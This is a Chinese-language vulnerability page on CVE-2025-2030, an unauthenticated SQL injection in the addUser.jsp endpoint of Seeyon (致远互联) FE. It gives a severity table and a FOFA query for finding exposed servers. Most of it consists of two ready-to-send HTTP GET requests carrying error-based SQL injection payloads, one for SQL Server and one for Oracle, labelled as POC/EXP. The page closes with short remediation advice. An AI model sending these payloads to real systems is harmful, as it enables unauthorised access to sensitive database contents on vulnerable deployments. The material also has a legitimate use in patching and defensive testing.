跳转至

致远互联FE_addUser_sql注入-CVE-2025-2030

漏洞描述

致远互联FE_addUser处存在sql注入漏洞，未授权的攻击者可获取数据库敏感信息。

影响版本

版本号20250224及之前版本

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：body="li_plugins_download"

POC/EXP：SQL SERVER数据库报错注入

GET /security/addUser.jsp?groupId=1)%20AND%206430%20IN%20(SELECT%20(CHAR(113)+CHAR(113)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT%20(CASE%20WHEN%20(6430=6430)%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(120)+CHAR(113)))%20AND%20(6426=6426 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

image-20250324210918338

POC/EXP：Oracle

GET /security/addUser.jsp?groupId=1)%20AND%203862=(SELECT%20UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(112)||CHR(107)||CHR(113)||(SELECT%20(CASE%20WHEN%20(3862=3862)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)||CHR(113)||CHR(98)||CHR(113)||CHR(98)||CHR(113)||CHR(62)))%20FROM%20DUAL)%20AND%20(9318=9318 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

image-20250324211320699

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本